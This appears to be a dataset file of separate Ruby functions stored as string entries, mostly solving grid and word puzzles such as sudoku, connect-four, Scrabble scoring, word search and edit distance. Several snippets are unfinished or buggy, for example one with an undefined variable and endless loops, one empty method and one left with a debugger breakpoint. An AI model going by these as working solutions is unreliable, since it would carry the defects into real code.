"def checkwinner\r\n\t\t\t\r\n\t\t\t@matrix.each do |row|\r\n\t\t\t\trow.join.gsub(\"|\",\"\")\r\n\t\t\tend\r\n\t\t\t\r\n\t\t\t#check horizontal winners\r\n\t\t\t@matrix.each do |row|\r\n\t\t\t if row.join.include? \"XXXX\"\r\n\t\t\t\t@winner = 2\t\r\n\t\t\t elsif row.join.include? \"OOOO\"\r\n\t\t\t\t@winner = 1\r\n\t\t\t end\r\n\t\t\tend\r\n\r\n\t\t\t#check vertical winners\r\n\t\t\t@matrix.transpose.each do |row|\r\n\t\t\t if row.join.include? \"XXXX\"\r\n\t\t\t\t@winner = 2\t\r\n\t\t\t elsif row.join.include? \"OOOO\"\r\n\t\t\t\t@winner = 1\r\n\t\t\t end\r\n\t\t\tend\r\n\t\t\t\r\n\t\t\tfor row_nr in 0..@matrix.count-4\r\n\t\t\t for col_nr in 0..@matrix[0].count-4\r\n\t\t\t\tel_1 = @matrix[row_nr] [col_nr]\r\n\t\t\t\tel_2 = @matrix[row_nr+1][col_nr+1]\r\n\t\t\t\tel_3 = @matrix[row_nr+2][col_nr+2]\r\n\t\t\t\tel_4 = @matrix[row_nr+3][col_nr+3]\r\n\r\n\t\t\t\tif el_1 + el_2 + el_3 + el_4 == 'XXXX'\r\n\t\t\t\t @winner = 2\t\r\n\t\t\t\telsif el_1 + el_2 + el_3 + el_4 == 'OOOO'\r\n\t\t\t\t @winner = 1\r\n\t\t\t\tend\r\n\t\t\t end\r\n\t\t\tend\r\n\t\t\t#right to left\r\n\t\t\tfor row_nr in 0..@matrix.count-4\r\n\t\t\t for col_nr in 0..@matrix[0].count-4\r\n\t\t\t\tel_1 = @matrix.reverse[row_nr] [col_nr]\r\n\t\t\t\tel_2 = @matrix.reverse[row_nr+1][col_nr+1]\r\n\t\t\t\tel_3 = @matrix.reverse[row_nr+2][col_nr+2]\r\n\t\t\t\tel_4 = @matrix.reverse[row_nr+3][col_nr+3]\r\n\r\n\t\t\t\tif el_1 + el_2 + el_3 + el_4 == 'XXXX'\r\n\t\t\t\t @winner = 2 \r\n\t\t\t\telsif el_1 + el_2 + el_3 + el_4 == 'OOOO'\r\n\t\t\t\t @winner = 1\r\n\t\t\t\tend\r\n\t\t\t end\r\n\t\t\tend\r\n\t\r\n\t\t\treturn @winner\r\n\t\tend",
"def row(string, start_col, end_col)\n res = []\n i = 0\n string.split(/\\s/).each do |word|\n i += word.length + 1\n if i.between?(start_col, end_col)\n res << word\n end\n end\n res.join(\" \")\n end",
"def invalid board, tile, row, col, dir\n\t\t\tinvalid = false\n\t\t\tword = ''\n\t\t\tif dir == :down\n\t\t\t\tif (!board[row, col-1].nil? && board[row, col-1].tile) || (!board[row, col+1].nil? && board[row, col+1].tile)\n\t\t\t\t\ttemp_col = col\n\t\t\t\t\twhile board[row, temp_col-1].tile\n\t\t\t\t\t\ttemp_col -= 1\n\t\t\t\t\tend\n\t\t\t\t\twhile temp_col < 15 &&(board[row, temp_col].tile || col == temp_col)\n\t\t\t\t\t\tif temp_col == col\n\t\t\t\t\t\t\tword += tile\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tword += board[row, temp_col].tile\n\t\t\t\t\t\tend\n\t\t\t\t\t\ttemp_col+=1\n\t\t\t\t\tend\n\t\t\t\t\tif !DICTIONARY.word?(word)\n\t\t\t\t\t\tinvalid = true,\n\t\t\t\t\t\tword = ''\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tif(!board[row-1, col].nil? && board[row-1, col].tile) || (!board[row+1, col].nil? && board[row+1, col].tile)\n\t\t\t\t\ttemp_row = row\n\t\t\t\t\twhile board[temp_row-1, col].tile\n\t\t\t\t\t\ttemp_row -= 1\n\t\t\t\t\tend\n\t\t\t\t\twhile temp_row < 15 &&(board[temp_row, col].tile || row == temp_row)\n\t\t\t\t\t\tif temp_row == row\n\t\t\t\t\t\t\tword += tile\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tword += board[temp_row, col].tile\n\t\t\t\t\t\tend\n\t\t\t\t\t\ttemp_row+=1\n\t\t\t\t\tend\n\t\t\t\t\tif !DICTIONARY.word?(word)\n\t\t\t\t\t\tinvalid = true\n\t\t\t\t\t\tword = ''\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\t\t[invalid, word]\n\t\tend",
"def validSolution(board)\n array_of_boxes = Array.new\n box = Array.new\n i = 0\n\n add_box_array = lambda do\n 3.times do\n 3.times do\n row = board[i]\n box.push(row[0]).push(row[1]).push(row[2])\n i += 1\n end\n\n array_of_boxes << box\n box = Array.new\n end\n end\n\n reset_and_rotate = lambda do\n i = 0\n board.each{ |row| row.rotate!(3) }\n end\n\n add_reset_rotate = lambda do\n add_box_array.call\n reset_and_rotate.call\n end\n\n 2.times {add_reset_rotate.call}\n add_box_array.call\n all_possible_arrays = (1..9).to_a.permutation.to_a\n\n # each row & each column is a unique permutation of base_array\n board.all?{ |row| all_possible_arrays.include?(row) } &&\n board.uniq.size == 9 &&\n board.transpose.all?{ |column| all_possible_arrays.include?(column) } &&\n board.transpose.uniq.size == 9 &&\n array_of_boxes.all? { |box| all_possible_arrays.include?(box) }\nend",
"def count_substrings(s)\n size = s.size\n count = 0\n\n # the matrix represents substrings from one idx to another\n # we use the length of the string to determine the size\n # we start with all false values and update it to true when the substring is a palindrome\n\n dp = Array.new(size) { Array.new(size, false) }\n\n # substrings of one char are all palindromes\n\n (0...size).each do |idx|\n dp[idx][idx] = true\n count += 1\n end\n\n # check substrings of two chars\n # only if the 2 chars as the same will it be a palindrome\n\n (1...(size - 1)).each do |idx|\n if s[idx] == s[idx + 1]\n dp[idx][idx + 1] = true\n count += 1\n end\n end\n\n p dp\n\n # check longer substrings\n\n # this first loop represents the length of the substring, from 3 up to the total size of the original string\n\n (3..size).each do |length|\n # then we iterate according to index\n (0...(size - length)).each do |idx1|\n idx2 = (idx1 + length) - 1\n if dp[idx1 + 1][idx2 - 1] && (s[idx1] == s[idx2])\n dp[idx1][idx2] = true\n count += 1\n binding.pry\n end\n end\n end\n\n count\nend",
"def searchCol (twoLetters)\n\t\ti = 0\n\t\ta = 0\n\t\twhile twoLetters[0] != @matrizAbcd[a][i]\n\t\t\ti += 1\n\t\t\t# Si no encuentra la letra en la fila, cambia a la siguiente y reinicia puntero\n\t\t\tif i >= @matrizAbcd[a].length\n\t\t\t\ta +=1\n\t\t\t\ti = 0\n\t\t\tend\n\t\tend\n\t\ta = 0\n\t\t# Busca la segunda letra en la columna\n\t\twhile twoLetters[1] != @matrizAbcd[a][i]\n\t\t\ta += 1\n\t\t\t# Si no encuentra la segunda letra, regresa false\n\t\t\tif a >= @matrizAbcd.length\n\t\t\t\treturn false\n\t\t\tend\n\t\tend\n\t\tif twoLetters[1] == @matrizAbcd[a][i]\n\t\t\treturn true\n\t\tend\n\tend",
"def solved sol\n\tfor i in 0...sol.size\n\t\tfor j in 0...sol[i].size\n\t\t\tif sol[i][j].ord < 'a'.ord\n\t\t\t\treturn false\n\t\t\tend\n\t\tend\n\tend\n\n\treturn true\nend",
"def solve(board_string)\n sudoku_board = string_breaker(board_string)\n i = 0\n until solved?(sudoku_board) || i == 80\n sudoku_board.each_with_index do |row, row_idx|\n row.each_with_index do |square, col_idx|\n if row[col_idx].is_a?(Array)\n row[col_idx] = solve_suite(row, square, row_idx, col_idx, sudoku_board)\n row[col_idx] = row[col_idx][0].to_i if row[col_idx].length == 1\n end\n end\n end\n i += 1\n end\n sudoku_board\nend",
"def exercise_1113 (matrix)\n end",
"def row_search \n horizontal_words = []\n search = @@boards_templates[1].to_s.scan(/...../).each_slice(1).to_a\n rows = search.join \n @@boards_templates[0].each { |x| rows.include?(x) ? horizontal_words << x : rows.reverse.include?(x) ? horizontal_words << x : \"No hay palabras en dirección horizontal\" }\n horizontal_words\n end",
"def solve\n\t\trowData = @data[0].split(\" \")\n\t\tcolData = @data[1].split(\" \")\n\n\t\t@rows = self.getCandidates(rowData, colData.size)\n\t\t@cols = self.getCandidates(colData, rowData.size)\n\n\t\tbegin\n\t\t\tnumChanged = self.reduceMutual(@cols, @rows)\n\t\t\tif (numChanged == -1)\n\t\t\t\treturn\n\t\t\tend\n\t\tend while (numChanged > 0)\n\n\t\t@rows.each do |row|\n\t\t\tfor i in 0...(@cols.size)\n\t\t\t\tprint row[0][i]? \"# \" : \". \"\n\t\t\tend\n\t\t\tprint \"\\n\"\n\t\tend\n\t\treturn self\n\tend",
"def edits1(word)\n \n deletes = []\n i = 0\n while i < word.length\n deletes_word = word\n deletes << deletes_word.slice(0,i) + deletes_word.slice(i+1, word.length)\n i+=1\n end\n #all strings obtained by deleting a letter (each letter)\n transposes = []\n i = 0\n while i < word.length\n transpose_word = word\n letter_to_replace = transpose_word[i]\n\n transpose_word[i] = transpose_word[i-1]\n transpose_word[i-1] = letter_to_replace\n transposes << transpose_word\n\n transpose_word = word\n letter_to_replace = transpose_word[i]\n\n if(transpose_word[i+1] != nil)\n transpose_word[i] = transpose_word[i+1]\n transpose_word[i+1] = letter_to_replace\n transposes << transpose_word\n end\n\n i+=1\n end\n #all strings obtained by switching two consecutive letters\n inserts = []\n word\n inserts(word)\n\n # all strings obtained by inserting letters (all possible letters in all possible positions)\n replaces = []\n #all strings obtained by replacing letters (all possible letters in all possible positions)\n\n #return (deletes + transposes + replaces + inserts).to_set.to_a #eliminate duplicates, then convert back to array\n end",
"def valid_sudoku(table)\n table.each do |row|\n row_map = {}\n row.each do |elem|\n if elem != '.'\n if row_map[elem] \n return false\n else\n row_map[elem] = 1\n end\n end\n end\n end\n \n i = 0\n 9.times do\n column_map = {}\n table.each do |row|\n col = row[i]\n if col != '.'\n if column_map[col] \n return false\n else\n column_map[col] = 1\n end\n end\n\n end\n k += 1\n end\n \n i = 0\n k = 0\n 9.times do\n box_map = {}\n while i < i + 3\n while k < k + 3\n \n end\n end \n end\n \n return true\nend",
"def squarocol?(matrix)\n return true if matrix.any? { |row| row.uniq.length == 1}\n return true if matrix.transpose.any? { |col| col.uniq.length == 1}\n false\nend",
"def triangular_word?(word)\n triangle(count(word))\n\nend",
"def find_words(words)\n @words = words.map { |w| MatrixWord.new(w) }\n @words.each { |mw| place mw if (!mw.word.nil? && mw.word.size <= @width) }\n @words.select { |w| !w.place.nil? }\n end",
"def triangular_word?(str)\n alpha = ('a'..'z').to_a\n str_sum = str.split('').map! { |c| alpha.index(c) + 1 }.sum\n tri_nums = []\n i = 1\n until (tri_nums.last || 0) >= str_sum\n tri_nums << i * (i + 1) / 2\n i += 1\n end\n tri_nums.include?(str_sum)\nend",
"def exist(board, word)\n board.each_with_index do |row, row_idx|\n row.each_with_index do |letter, col_idx|\n if letter == word[0] && doesWordExist?(row_idx, col_idx, board, word, 0)\n return true\n end\n end\n end\n\n false\nend",
"def swasify(word)\r\n word = word.upcase.gsub(' ','').strip\r\n width = (word.length*2 - 1)*4 - 3\r\n sc = width/2\r\n word.split('')[0..-2].each do |letter|\r\n puts \" \"*sc + letter\r\n sc -= 2\r\n end\r\n sc2 = word.length*4 - 5\r\n puts \" \"*sc + word[-1] + \" \"*sc2 + word[-1]\r\n sc3 = 3\r\n \r\n word.split('')[1..-2].reverse.each do |letter|\r\n sc += 2\r\n sc2 -= 4 \r\n puts \" \"*sc + letter + \" \"*sc2 + letter + \" \"*sc3 + letter\r\n sc3 += 4\r\n end\r\n\r\n puts (word[0] + ' '*sc3)*2 + word[0]\r\n\r\n sc = 2\r\n word.split('')[1..-2].each do |letter|\r\n sc3 -= 4\r\n puts \" \"*sc + letter + \" \"*sc3 + letter + \" \"*sc2 + letter\r\n sc += 2\r\n sc2 += 4\r\n end\r\n\r\n sc2 = word.length*4 - 5\r\n puts \" \"*sc + word[-1] + \" \"*sc2 + word[-1]\r\n sc += sc2 - 1\r\n word.split('')[0..-2].reverse.each do |letter|\r\n puts \" \"*sc + letter\r\n sc -= 2\r\n end \r\nend",
"def matrix(text)\n row1, row2, row3 = rows_as_char_arrays(text)\n row1.zip(row2, row3)\n end",
"def word_in_the_grid?(attempt, grid)\n attempt_array = attempt.upcase.split('')\n attempt_array.each do |letter|\n return false if attempt_array.count(letter) > grid.count(letter)\n return false unless grid.include? letter\n end\n true\n end",
"def triangular_word?(word)\n alphabets = (\"a\"..\"z\").to_a\n num_code = 0\n word.each_char do |char|\n num_code += alphabets.index(char) + 1\n end\n triangular_num = 1\n num = 1\n\n while triangular_num <= num_code\n return true if triangular_num == num_code\n triangular_num = (num * (num + 1))/2\n num += 1\n end\n\n return false\nend",
"def squarocol?(arr)\n vert_test = false\n horz_test = false\n\n arr.each do |sub_arr| # [:x, :y, :x]\n horz_test = sub_arr.all? {|el| el == sub_arr[0]}\n return true if horz_test == true\n end\n\n columns = arr.transpose\n columns.each do |sub_arr| # [:x, :y, :x]\n vert_test = sub_arr.all? {|el| el == sub_arr[0]}\n return true if vert_test == true\n end\n\n false\nend",
"def edits1(word)\n deletes = []\n letters = word.split(\"\")\n letters.each do |c|\n word2 = word\n deletes.push(word2.delete(c))\n end\n\n transposes = []\n for i in 0..word.length-1\n letters = word.split(\"\")\n letters2 = letters\n letters2.insert(i+1 , letters2.delete_at(i))\n transposes.push(letters2.join())\n end\n\n inserts = []\n ALPHABET.split(\"\").each do |c|\n for i in 0..word.length\n letters = word.split(\"\")\n letters2 = letters\n letters2.insert(i,c)\n inserts.push(letters2.join())\n end\n end\n\n replaces = []\n ALPHABET.split(\"\").each do |c|\n\tfor i in 0..word.length-1\n letters = word.split(\"\")\n letters2 = letters\n letters2.delete_at(i)\n letters2.insert(i,c)\n replaces.push(letters2.join())\n end\n end\n\n return (deletes + transposes + replaces + inserts).to_set.to_a #eliminate duplicates, then convert back to array\n end",
"def do_transpose(character_matrix)\n replace_nil_with_space = ->(char) { char || ' ' }\n\n character_matrix\n .each_with_index\n .each_with_object([]) { |row_pair, arr| transpose_row_to_column(row_pair, arr) }\n .map { |row| row.map(&replace_nil_with_space) }\n end",
"def find_word(letters, unused, mask, target_word, idx, adj_matrix)\n 0.upto mask.length do |letter_idx|\n if (mask[letter_idx] and\n unused[letter_idx] and\n (letters[letter_idx] == target_word[idx]))\n if idx == target_word.length - 1\n return true\n else\n unused[letter_idx] = false\n return find_word(letters, unused, adj_matrix[letter_idx],\n target_word, idx + 1, adj_matrix)\n end\n end\n end\n return false\nend",
"def simple_transposition(text)\n array = text.split('')\n even = array.values_at(* array.each_index.select {|i| i.even?})\n odd = array.values_at(* array.each_index.select {|i| i.odd?})\n\n return even.join('') + odd.join('')\nend",
"def solution(string)\n def is_upcase?(letter)\n (\"A\"..\"Z\").cover?(letter)\n end\n\n def letter?(letter)\n letter = letter.downcase\n (\"a\"..\"z\").cover?(letter)\n end\n\n count = 0\n string.split('').each_with_index do |letter, index|\n index = index + count\n if is_upcase?(letter) && letter?(string[index - 1]) && letter?(string[index + 1])\n string.insert(index, ' ')\n count += 1\n end\n end\n return string\nend",
"def solve_zero_vs_six_vs_nine\n return if @arr[1].nil? || @arr[4].nil?\n\n #p \"1,4: #{@arr[1]},#{@arr[4]}\"\n\n @words.filter{|x| x.length == 6 && @hash[x].nil?}.each{|w|\n if @arr[4].chars.all?{|c| w.chars.include?(c)}\n solved(9, w)\n elsif @arr[1].chars.all?{|c2| w.chars.include?(c2)}\n solved(0, w)\n else\n solved(6, w)\n end\n }\n end",
"def unordered_match (target_word, matrix, ans_arr_el, index, track, trace)\t\n\tif index == 0 \n\t\t$seed[ans_arr_el[0][0]][:num_groups][ans_arr_el[0][1]].each do |word|\n\t\t\ttemp_word = track + word \n\t\t\tif(target_word == temp_word.chars.sort.join)\t\t\t\t\n\t\t\t\ttemp_answer = trace.dup\n\t\t\t\ttemp_answer.push(word)\n\t\t\t\t$answer[:words].push(temp_answer)\t\t\t\t\n\t\t\tend\n\t\tend\n\telsif index > 0\n\t\t$seed[ans_arr_el[index][0]][:num_groups][ans_arr_el[index][1]].each do |word|\n\t\t\tc = trace.dup\n\t\t\tc.push(word)\n\t\t\tunordered_match(target_word, matrix, ans_arr_el, index - 1, track + word, c)\t\t\t\t\t\t\n\t\tend\t\t\n\tend\t\nend",
"def solve(row, col)\n\tif row == 9 then\n\t\treturn true\n\tend\n\t\n\tif col == 9 then\n\t\treturn solve(row +1, 0)\n\tend\n\t\n\tif @sudokuBoard[row][col] != 0 then\n\t\treturn solve(row, col +1)\n\tend\n\t\n\t1.upto(9) {\n\t|num|\n\t\n\tif check(row,col,num) then\n\t\t@sudokuBoard[row][col] = num\n\t\tif solve(row, col+1) then\n\t\t\treturn true\n\t\tend\n\tend\n\t}\n\t\n\t@sudokuBoard[row][col] = 0\n\treturn false\n\t\n\t\n\tend",
"def check_perpendicular player, board, word_list\n\t\t\tbest = [ScrabbleWord.new('', 0, 0, 0, 0), 0]\n\t\t\thash = Hash.new\n\t\t\tword_list.to_a.flatten.join.split(//).uniq.each do |char|\n\t\t\t\thash[char] = DICTIONARY.get_all(player.tiles, char)\n\t\t\tend\n\t\t\tword_list.each do |word|\n\t\t\t\tword.word.split(//).each_with_index do |char, i|\n\t\t\t\t\twords = hash[char]\n\t\t\t\t\twords.each do|new_word|\n\t\t\t\t\t\tintersect = new_word.index(char)\n\t\t\t\t\t\tif word.dir == :across\n\t\t\t\t\t\t\tcol = word.col + i\n\t\t\t\t\t\t\trow = word.row - intersect\n\t\t\t\t\t\t\tdir = :down\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tcol = word.col - intersect\n\t\t\t\t\t\t\trow = word.row + i\n\t\t\t\t\t\t\tdir = :across\n\t\t\t\t\t\tend\n\t\t\t\t\t\tscore = attempt_score(new_word, board, row, col, dir) if (0..14).cover?(row) && (0..14).cover?(col)\n\t\t\t\t\t\tif score[0]\n\t\t\t\t\t\t\tbest = [ScrabbleWord.new(new_word, score[0], row, col, dir), score[0] + score[1]] if best[1] < (score[0] + score[1])\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\t\tbest\n\t\tend",
"def make_matrix(str1, str2)\n matrix = Array.new(str1.length + 1) { Array.new(str2.length + 1, 0) }\n\n str1.chars.each_with_index do |el1, idx1|\n str2.chars.each_with_index do |el2, idx2|\n if el1 == el2\n matrix[idx1 + 1][idx2 + 1] = matrix[idx1][idx2] + 1\n else\n matrix[idx1 + 1][idx2 + 1] = 0\n end\n end\n end\n\n matrix\nend",
"def make_matrix(str1, str2)\n matrix = Array.new(str1.length + 1) { Array.new(str2.length + 1, 0) }\n\n str1.chars.each_with_index do |el1, idx1|\n str2.chars.each_with_index do |el2, idx2|\n if el1 == el2\n matrix[idx1 + 1][idx2 + 1] = matrix[idx1][idx2] + 1\n else\n matrix[idx1 + 1][idx2 + 1] = 0\n end\n end\n end\n\n matrix\nend",
"def make_matrix(str1, str2)\n matrix = Array.new(str1.length + 1) { Array.new(str2.length + 1, 0) }\n\n str1.chars.each_with_index do |el1, idx1|\n str2.chars.each_with_index do |el2, idx2|\n if el1 == el2\n matrix[idx1 + 1][idx2 + 1] = matrix[idx1][idx2] + 1\n else\n matrix[idx1 + 1][idx2 + 1] = 0\n end\n end\n end\n\n matrix\nend",
"def translate(your_string)\n words = your_string.split(/\\s+/)\n vowels = %w{a e i o u}\n th_ch = %q{th ch sh sc qu }\n three_letter = %q{sch}\n translated_words=[]\n words.each do |word|\n letters = word.scan(/\\w/)\n word_length = letters.length\n \n if vowels.include?(letters[0])\n #word begins with a vowel\n word += \"ay\"\n \n elsif th_ch.include?(letters[0]+letters[1]) && !vowels.include?(letters[2])\n # word begins with three consonants\n word = (letters[3..word_length-1]<<letters[0]<<letters[1]<<letters[2]).join.to_s+\"ay\"\n \n elsif th_ch.include?(letters[0]+letters[1]) && vowels.include?(letters[2])\n #word begins with two defined consonants followed by a vowel\n word = (letters[2..word_length-1]<<letters[0]<<letters[1]).join.to_s+\"ay\"\n \n elsif (letters[1]+letters[2]) == \"qu\"\n # word starts with a <consonant + \"qu\">\n word = (letters[3..word_length-1]<<letters[0]<<letters[1]<<letters[2]).join.to_s+\"ay\"\n \n elsif !vowels.include?(letters[0]) && !vowels.include?(letters[1])\n #word begins with two not_defined consonants followed by a vowel\n word = (letters[2..word_length-1]<<letters[0]<<letters[1]).join.to_s+\"ay\"\n \n else\n # only one consonant begins the word\n word = (letters[1..word_length-1]<<letters[0]).join.to_s+\"ay\"\n end\n translated_words << word\n end\n translated_words.join(\" \").to_s\nend",
"def searchRow (twoLetters)\n\t\ti = 0\n\t\ta = 0\n\t\twhile twoLetters[0] != @matrizAbcd[a][i]\n\t\t\ti += 1\n\t\t\t# Si no encuentra la letra en la fila, cambia a la siguiente y reinicia puntero\n\t\t\tif i >= @matrizAbcd[a].length\n\t\t\t\ta +=1\n\t\t\t\ti = 0\n\t\t\tend\n\t\tend\n\t\ti = 0\n\t\t# Busca la segunda letra en la fila\n\t\twhile twoLetters[1] != @matrizAbcd[a][i]\n\t\t\ti += 1\n\t\t\t# Si no encuentra la segunda letra, regresa false\n\t\t\tif i >= @matrizAbcd[a].length\n\t\t\t\treturn false\n\t\t\tend\n\t\tend\n\t\tif twoLetters[1] == @matrizAbcd[a][i]\n\t\t\treturn true\n\t\tend\n\tend",
"def solve(puzzle, row, column = 0)\n return puzzle.flatten if column == 4\n return nil if permissible_values(puzzle, row, column).empty?\n p \"puzzle: #{puzzle}\"\n p \"row: #{row}\"\n p \"column: #{column}\"\n blank_puzzle.each { |i_in_row|\n i_in_row.each { |i_in_column|\n permissible_values(puzzle, i_in_row, i_in_column).map do |value|\n solve(update_puzzle(puzzle.dup, value, row, column), row, column + 1)\n end\n }\n }\nend",
"def squarocol?(matrix)\n return true if matrix.any? { |row| row.uniq.size == 1}\n\n return true if matrix.transpose.any? { |row| row.uniq.size == 1 }\n\n false\nend",
"def gridChallenge(grid)\n grid.each do |row|\n row.sort!\n end\n columns = grid.first.size\n size = grid.size\n\n \n (0..(columns - 1)).each do |col|\n list = []\n (0..(size -1)).each do |row| \n list << grid[row][col]\n end\n return 'NO' if list != list.sort\n end\n\n 'YES'\nend",
"def hackerrankInString(str)\n expected_chars = %w[h a c k e r r a n k]\n input_chars = str.chars\n\n str.chars.each do |char|\n # Thought so, apparently not: Edge case: there should be no more chars after the last 'k' in hackerrank.\n # break if expected_chars.empty?\n\n input_chars.shift\n expected_chars.shift if char == expected_chars[0]\n end\n\n expected_chars.empty? && input_chars.empty? ? 'YES' : 'NO'\nend",
"def is_match(s, p)\n m, n = s.length, p.length\n dp = Array.new(m + 1) { Array.new(n + 1, false) }\n dp[0][0] = true\n\n 1.upto(n) do |j|\n dp[0][j] = dp[0][j - 1] if p[j - 1] == '*'\n end\n\n 1.upto(m) do |i|\n 1.upto(n) do |j|\n dp[i][j] = dp[i - 1][j - 1] if p[j - 1] == s[i - 1] || p[j - 1] == '?'\n dp[i][j] = dp[i - 1][j] || dp[i][j - 1] if p[j - 1] == '*'\n end\n end\n\n dp[m][n]\nend",
"def levenshtein_distance(s, t)\n m = s.length\n n = t.length\n return m if n == 0\n return n if m == 0\n d = Array.new(m+1) { Array.new(n+1) }\n\n (0..m).each { |i| d[i][0] = i }\n (0..n).each { |j| d[0][j] = j }\n (1..n).each do |j|\n (1..m).each do |i|\n d[i][j] = if s[i-1] == t[j-1] # adjust index into string\n d[i-1][j-1] # no operation required\n else\n [d[i-1][j]+1, # deletion\n d[i][j-1]+1, # insertion\n d[i-1][j-1]+1, # substitution\n ].min\n end\n end\n end\n d[m][n]\nend",
"def attempt_score word, board, row, col, dir\n\t\t\tsum =0\n\t\t\tmultiplier = 1\n\t\t\tmore_sum = 0\n\t\t\textra_words = [word]\n\t\t\tword.each_char do |char|\n\t\t\t\tinvalid = invalid(board, char, row, col, dir)\n\t\t\t\treturn [false, 0] if invalid[0] || !(0..14).cover?(col) || !(0..14).cover?(row)\n\t\t\t\textra_words << invalid[1] if invalid[1] != ''\n\t\t\t\tif !board[row,col].multiplied\n\t\t\t\t\tval = TILE_VALUE[char]\n\t\t\t\t\tval ||= 0\n\t\t\t\t\tif board[row,col].type == :word\n\t\t\t\t\t\tmultiplier *= board[row,col].multiplier\n\t\t\t\t\telse\n\t\t\t\t\t\tval *= board[row,col].multiplier\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tval = TILE_VALUE[board[row, col].tile]\n\t\t\t\t\tval ||= 0\n\t\t\t\tend\n\t\t\t\tsum += val\n\t\t\t\tif dir == :down\n\t\t\t\t\trow += 1\n\t\t\t\telse\n\t\t\t\t\tcol += 1\n\t\t\t\tend\n\t\t\t\tinvalid[1].each_char {|x| more_sum += TILE_VALUE[x] }\n\t\t\tend\n\t\t\treturn [false, 0] if extra_words.uniq.count != extra_words.count\n\t\t\t[sum*multiplier, more_sum]\n\t\tend",
"def vowel_square(input)\n vowels = %w(a e i o u)\n\n i = 0\n while i < input.length - 1\n j = 0\n while j < input[0].length - 1\n left_top = input[i][j]\n right_top = input[i][j+1]\n left_bottom = input[i+1][j]\n right_bottom = input[i+1][j+1]\n\n if vowels.include?(left_top) && vowels.include?(right_top) && vowels.include?(left_bottom) && vowels.include?(right_bottom)\n return [i,j]\n end\n j += 1\n end\n i += 1\n end\n nil\nend",
"def encryption(s)\n grid = []\n ans = ''\n chars = s.delete(' ')\n columns, rows = Math.sqrt(chars.length).ceil, Math.sqrt(chars.length).floor\n rows = columns if rows * columns < chars.length\n rows.times { |row| grid << chars[(row * (columns))..((row + 1) * columns - 1)].chars }\n columns.times { |column|\n rows.times { |row| ans += grid[row][column] || '' }\n ans += ' '\n }\n return ans.strip\nend",
"def find_next (matrix, word, index, start_row, start_col)\n\tif(index < word.length - 1)\n\t\tneighbors = find_neighbors(matrix, start_row, start_col)\n\t\t\n\t\tneighbors.each do |neighborObj|\t\t\t\n\t\t\tif neighborObj[:char] == word[index + 1]\n\t\t\t\t# print word, \" - \", word[index], \" \", neighborObj[:char], \" \", neighborObj[:row_index], neighborObj[:col_index], \"\\n\"\n\t\t\t\tcoord = neighborObj[:row_index].to_s + '-' + neighborObj[:col_index].to_s\n\t\t\t\tfind_next(matrix, word, index + 1, neighborObj[:row_index], neighborObj[:col_index])\n\t\t\tend\n\t\tend\t\t\n\telsif index == word.length - 1\n\t\t$find_next_found = true\n\tend\nend",
"def squarocol?(square)\n #if row.all? { |val| val == row[0]} TRUE\n #OR if array.transpose ^^\n \n square.each do |row|\n return true if row.uniq.count == 1\n end\n square.transpose.each do |col|\n return true if col.uniq.count == 1\n end\n\n false\nend",
"def triangular_word?(word)\n alphabet = (\"a\"..\"z\").to_a\n num = 0\n word.each_char { |char| num += alphabet.index(char) + 1 }\n triangular_num?(num)\nend",
"def triangular_word?(str)\n alphabet = ('a'..'z').to_a\n\n word_sum = 0\n str.each_char do |char|\n index = alphabet.index(char) \n word_sum += (index + 1)\n end\n triangular_number(word_sum)\nend",
"def staircase(n)\n spaces=0\n arr = Array.new(n) { |i| Array.new(n) { |j| (i >= j) ? '#' : ' ' } }\n print_matrix(arr.map(&:reverse), spaces)\nend",
"def levenshtein_distance(s, t)\n m = s.length\n n = t.length\n return m if n == 0\n return n if m == 0\n d = Array.new(m+1) {Array.new(n+1)}\n\n (0..m).each {|i| d[i][0] = i}\n (0..n).each {|j| d[0][j] = j}\n (1..n).each do |j|\n (1..m).each do |i|\n d[i][j] = if s[i-1] == t[j-1] # adjust index into string\n d[i-1][j-1] # no operation required\n else\n [ d[i-1][j]+1, # deletion\n d[i][j-1]+1, # insertion\n d[i-1][j-1]+1, # substitution\n ].min\n end\n end\n end\n d[m][n]\nend",
"def board(word)\n extractedLetter = \"\"\n foundLetters =[]\n searchedWordSplitted = word.split(\"\")\n print searchedWordSplitted\n\n #searchedWordSplitted.each do |letter|\n extractedLetter = searchedWordSplitted[0]\n extractedLetter = extractedLetter.upcase!\n print extractedLetter\n #The idea is to extract each letter from the array\n #and compare it with with the board.\n #end\n print @output.include?(extractedLetter)\n\n end",
"def string_near_column(string, col)\n start=col-1\n while start >= 0 && string[start] != ?' && string[start] != ?\" do\n start -= 1\n end\n if start >= 0\n term=string[start]\n string = string[start+1,string.length-start]\n if (stop = string.index(term))\n other = string.index(term == ?' ? ?\": ?')\n if (other.nil? || other > stop)\n string[0,stop]\n end\n end\n end\nend",
"def diagonal_search \n diagonal = []\n diagonal_words = []\n search = @@boards_templates[1].to_s.scan(/./).each_slice(5).to_a\n for ca in 2..7 \n down = ca \n for row in 0..ca\n if row <= 4 \n diagonal << search[down][row]\n down -= 1 \n end \n end \n end\n diagonal = diagonal.join \n @@boards_templates[0].each { |x| diagonal.include?(x) ? diagonal_words << x : diagonal_words.reverse.include?(x) ? diagonal_words << x : \"No hay palabras en dirección diagonal\" }\n #diagonal_words \n end",
"def check_diagonals\n diagonal_winner = nil\n # stores the markers\n backward_diagonal = ''\n forward_diagonal = ''\n\n # for a diagonal to be a winner it takes the row[n], row[n+1], row[n+2] and so on..\n @board.each_with_index do |row,index|\n\n # check if left to right diagonal is a winner\n row.each_with_index do |marker, position|\n if position == index\n backward_diagonal += marker\n end\n end\n\n # check if right to left diagonal is a winner\n reversed_row = row.reverse\n reversed_row.each_with_index do |marker, position|\n if position == index\n forward_diagonal += marker\n end\n end\n end\n\n # checks iteration count of x or o in strings to find winner\n if backward_diagonal.count('x') == @board.size || forward_diagonal.count('x') == @board.size\n diagonal_winner = 'x'\n elsif backward_diagonal.count('o') == @board.size || forward_diagonal.count('o') == @board.size\n diagonal_winner = 'o'\n end\n\n diagonal_winner\n end",
